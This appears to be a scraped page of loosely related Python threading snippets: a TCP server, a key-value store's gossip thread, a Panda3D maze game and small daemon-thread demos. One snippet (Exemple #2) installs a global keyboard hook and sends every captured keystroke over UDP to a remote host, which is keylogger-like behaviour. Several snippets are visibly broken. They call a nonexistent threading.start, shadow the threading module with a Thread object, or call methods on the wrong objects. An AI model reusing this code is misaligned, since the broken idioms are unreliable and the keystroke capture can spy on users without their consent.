Exemple #1
0
def main():
    # n = cantidad de bobs o cliente que se conectan
    n = 1; port = 7666

    # Creamos el socket con protocolo TCP
    Ssocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # Asociamos el socket con la ip y el puerto
    Ssocket.bind(('', port))
    # Definimos la ip local sobre el cual vamos a correr el servidor, o Alice
    IpLocalServer = socket.gethostbyname(socket.getfqdn())
    bloq = threading.Lock()
    print("Alice is online with ip: ", IpLocalServer, " and port: ", port)
    # El socket del servidor, queda esperando una conexion
    Ssocket.listen(16)

    while True:
        # Aceptamos la conexion
        Csocket, IpClient = Ssocket.accept()
        print(IpClient, " conected...")

        # Creamos la variable threading targeteando la funcion attend
        threading = threading.Thread(target=attend, args=(Csocket, n, bloq))
        threading.start()
        # Informamos que se arranco un nuevo hilo
        print(f"Start a new thread: {threading.name} for bob {n}")
        n += 1
Exemple #2
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 def runApp(self, app_type, app_id, send_queue):
     if app_type in self.apps:
         app = self.apps[app_type]
         t.Thread(target=app.__init__, args=[app_id, send_queue])
         t.setDaemon(True)
         t.start()
         return t
     else:
         return None
serverSocket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)		#SOCK_DGRAM表示基数据报格式即UDP连接

serverSocket.bind(('',serverport))		#(host,port)的形式表示地址、引号表示可以接受任何地址来的数据报

def onKeyboardEvent(event):	# 监听键盘事件
	if (event.Key=='Lshift') or (event.Key=='Rshift'):
		temp = '@'
	elif onKeyboardEvent.Key=='Escape':	#遇到Esc键退出
		win32api.PostQuitMessage()
	else:
		temp = (event.Key).lower()	#将输入的键盘值之间缓冲到temp
	clientSocket.sendto(temp.encode(),(clientname,clientport))

	return True

#def Listenkeyboard():
#	pythoncom.PumpMessages(800)		# 进入循环,如不手动关闭,程序将一直处于监听状态

def Receive():
	print ('Ready to receive message')
	while(1):
		message,ServerAddress = serverSocket.recvfrom(1024)
		print (message.hex())


if __name__ == "__main__":
	hm = pyHook.HookManager()	# 创建一个“钩子”管理对象
	hm.KeyDown = onKeyboardEvent		# 监听所有键盘事件
	hm.HookKeyboard()		# 设置键盘“钩子”
	threading.start(onKeyboardEvent,())
	threading.start(Receive,())
Exemple #4
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import threading
import time


# Define a function for the thread
def print_time(threadName, delay):
    count = 0
    while count < 5:
        time.sleep(delay)
        count += 1
        print("%s: %s" % (threadName, time.time()))


# Create two threads as follows
threading.start(print_time, (
    "Thread-1",
    2,
))
try:
    threading.start(print_time, (
        "Thread-1",
        2,
    ))
    threading.start(print_time, (
        "Thread-2",
        4,
    ))
except:
    print("Error: unable to start thread")

while 1:
    pass
Exemple #5
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def formatResult(result):
    status_code = result.status_code
    result = result.json()

    if result != None:
        jsonKeys = [
            "message", "replaced", "error", "doesExist", "value", "address",
            "key-count", "shards", "values", "vectors", "timestamps",
            "VectorClock", "Timestamp", "View", "replicas", "id", "shard-id",
            "causal-context"
        ]
        result = {k: result[k] for k in jsonKeys if k in result}

    else:
        result = {"status_code": status_code}

    return result, status_code


if __name__ == '__main__':
    num_keys = 0  #number of keys in our key-value store
    #app.config['JSON_SORT_KEYS'] = False
    threading = threading.Thread(target=gossip)
    threading.start()
    #second thread to handle the view sync? -- try in regular gossip -> try here if it is too laggy
    # threading2 = threading.Thread(target=gossip2)
    # threading2.start()
    app.run(debug=True, threaded=True, host='0.0.0.0', port=13800)
# why 0.0.0.0?? https://stackoverflow.com/questions/20778771/what-is-the-difference-between-0-0-0-0-127-0-0-1-and-localhost
# it basically checks if there is anything being point to the network for the local IP
Exemple #6
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    def rollTask(self, task):
        # Standard technique for finding the amount of time since the last
        # frame
        #print("\r",self.maze.getR(), self.maze.getP(), self.ballRoot.getPos(), end="")

        dt = globalClock.getDt()
        print("\r{:.3} fps      ".format(1 / dt), end="")

        # If dt is large, then there has been a # hiccup that could cause the ball
        # to leave the field if this functions runs, so ignore the frame
        if dt > .2:
            return Task.cont

        #print(action)
        if action == "start":
            a = 1

        elif action == "stop":
            while action == "stop":
                a = 0

    # elif action == "restart": in Line 531

        elif action == "coord":
            a = 1
            #ALGUNA CRIDA A METODE DE NARCIS/MARC

        key_down = base.mouseWatcherNode.is_button_down

        if self.ready_to_solve:

            if key_down(KeyboardButton.ascii_key('d')):
                screenshot = self.camera2_buffer.getScreenshot()
                if screenshot:
                    v = memoryview(screenshot.getRamImage()).tolist()
                    img = np.array(v, dtype=np.uint8)
                    img = img.reshape(
                        (screenshot.getYSize(), screenshot.getXSize(), 4))
                    img = img[::-1]
                    #self.digitizer.set_src_img(img)
                    #self.digitizer.digitalize_source()
                    cv2.imshow('img', img)
                    #cv2.waitKey(0)

            if key_down(KeyboardButton.ascii_key('s')):
                print("Screenshot!")
                self.camera2_buffer.saveScreenshot("screenshot.jpg")

            # The collision handler collects the collisions. We dispatch which function
            # to handle the collision based on the name of what was collided into
            for i in range(self.cHandler.getNumEntries()):
                entry = self.cHandler.getEntry(i)
                name = entry.getIntoNode().getName()
                if action == "restart":
                    self.loseGame(entry)
                if name == "wall_col":
                    self.wallCollideHandler(entry)
                elif name == "ground_col":
                    self.groundCollideHandler(entry)
                elif name == "loseTrigger":
                    vr.restart = 1
                    global th
                    th = threading.Thread(target=listenVoice)
                    th.start()
                    self.loseGame(entry)

            # Read the mouse position and tilt the maze accordingly
            # Rotation axes use (roll, pitch, heave)
            """
            if base.mouseWatcherNode.hasMouse():
                mpos = base.mouseWatcherNode.getMouse()  # get the mouse position
                self.maze.setP(mpos.getY() * -10)
                self.maze.setR(mpos.getX() * 10)
            """

            ballPos = self.get_ball_position()
            #print("BALL POS: ", ballPos)

            posFPixel = self.path[self.indexPuntActual]

            xFinal = posFPixel[1]  #posFPixel[1]/np.shape(laberint)[0]*13 - 6.5
            yFinal = posFPixel[
                0]  #-(posFPixel[0]/np.shape(laberint)[1]*13.5 - 6.8)

            dist = math.sqrt((xFinal - ballPos[1])**2 +
                             (yFinal - ballPos[0])**2)

            if (dist < self.minDist):
                if (self.indexPuntActual == len(self.path) - 1):
                    print("SOLVED!!", end="")

                while (self.aStar.distance(
                    (ballPos[0], ballPos[1]), self.path[self.indexPuntActual])
                       < self.pas):
                    if (self.indexPuntActual < len(self.path) - 1):
                        self.indexPuntActual += 1
                    else:
                        break

            # ball pos (y,x)

            #print("END POS: ", self.digitizer.endPos)

            if voice_solving:
                p_rotation = dir_veu[0]
                r_rotation = dir_veu[1]
                if p_rotation == 0 and r_rotation == 0 and ballPos is not None:
                    p_rotation, r_rotation = self.pid.getPR(
                        ballPos[1], ballPos[0], ballPos[1], ballPos[0],
                        self.maze.getP(), self.maze.getR(), dt)

            else:
                p_rotation = 0
                r_rotation = 0
                #print(ballPos, dist)

                #print(ballPos)

                if ballPos is not None:

                    p_rotation, r_rotation = self.pid.getPR(
                        ballPos[1], ballPos[0], xFinal, yFinal,
                        self.maze.getP(), self.maze.getR(), dt)
                    #print(p_rotation, r_rotation)

            if key_down(KeyboardButton.up()):
                p_rotation = -1
            elif key_down(KeyboardButton.down()):
                p_rotation = 1

            if key_down(KeyboardButton.left()):
                r_rotation = -1
            elif key_down(KeyboardButton.right()):
                r_rotation = 1

            self.rotateMaze(p_rotation, r_rotation)

            # Finally, we move the ball
            # Update the velocity based on acceleration
            self.ballV += self.accelV * dt * ACCEL
            # Clamp the velocity to the maximum speed
            if self.ballV.lengthSquared() > MAX_SPEED_SQ:
                self.ballV.normalize()
                self.ballV *= MAX_SPEED
            # Update the position based on the velocity
            self.ballRoot.setPos(self.ballRoot.getPos() + (self.ballV * dt))
            #print(self.ballRoot.getPos())

            # This block of code rotates the ball. It uses something called a quaternion
            # to rotate the ball around an arbitrary axis. That axis perpendicular to
            # the balls rotation, and the amount has to do with the size of the ball
            # This is multiplied on the previous rotation to incrimentally turn it.
            prevRot = LRotationf(self.ball.getQuat())
            axis = LVector3.up().cross(self.ballV)
            newRot = LRotationf(axis, 45.5 * dt * self.ballV.length())
            self.ball.setQuat(prevRot * newRot)

        elif key_down(KeyboardButton.ascii_key('1')):
            self.solve()

        if key_down(KeyboardButton.ascii_key('i')):
            self.light.setY(self.light.getY() + 10 * dt)
        elif key_down(KeyboardButton.ascii_key('k')):
            self.light.setY(self.light.getY() - 10 * dt)

        if key_down(KeyboardButton.ascii_key('j')):
            self.light.setX(self.light.getX() - 10 * dt)
        elif key_down(KeyboardButton.ascii_key('l')):
            self.light.setX(self.light.getX() + 10 * dt)

        if key_down(KeyboardButton.ascii_key('u')):
            self.lightColor += 10000 * dt
            self.light.node().setColor(
                (self.lightColor, self.lightColor, self.lightColor, 1))
        elif key_down(KeyboardButton.ascii_key('o')):
            self.lightColor -= 10000 * dt
            self.light.node().setColor(
                (self.lightColor, self.lightColor, self.lightColor, 1))

        if key_down(KeyboardButton.ascii_key('8')):
            self.alightColor += 1 * dt
            self.ambientL.node().setColor(
                (self.alightColor, self.alightColor, self.alightColor, 1))
        elif key_down(KeyboardButton.ascii_key('9')):
            self.alightColor -= 1 * dt
            self.ambientL.node().setColor(
                (self.alightColor, self.alightColor, self.alightColor, 1))

        if key_down(KeyboardButton.ascii_key('r')):
            base.trackball.node().set_pos(0, 200, 0)
            base.trackball.node().set_hpr(0, 60, 0)

        return Task.cont  # Continue the task indefinitely
Exemple #7
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                         toData=toPos.getY(),
                         duration=.1),
                LerpFunc(self.ballRoot.setZ,
                         fromData=self.ballRoot.getZ(),
                         toData=self.ballRoot.getZ() - .9,
                         duration=.2)), Wait(1), Func(self.start)).start()

    def toggleInterval(self, ival):
        if ival.isPlaying():
            ival.pause()
        else:
            ival.resume()

    def shaderSupported(self):
        return base.win.getGsg().getSupportsBasicShaders() and \
               base.win.getGsg().getSupportsDepthTexture() and \
               base.win.getGsg().getSupportsShadowFilter()


# Finally, create an instance of our class and start 3d rendering
demo = BallInMazeDemo()

try:

    th = threading.Thread(target=listenVoice, daemon=True)
    th.start()

except:
    print("Error: unable to start thread")

demo.run()
Exemple #8
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#守护线程
import threading as t
import time


def fun():
    print("老王")
    time.sleep(2)
    print("你干啥呢")


t = t.Thread(target=fun)
#daemon 需要在start前面设置
#t.setDaemon(True)
t.daemon = True
t.start()
print("你是不似傻")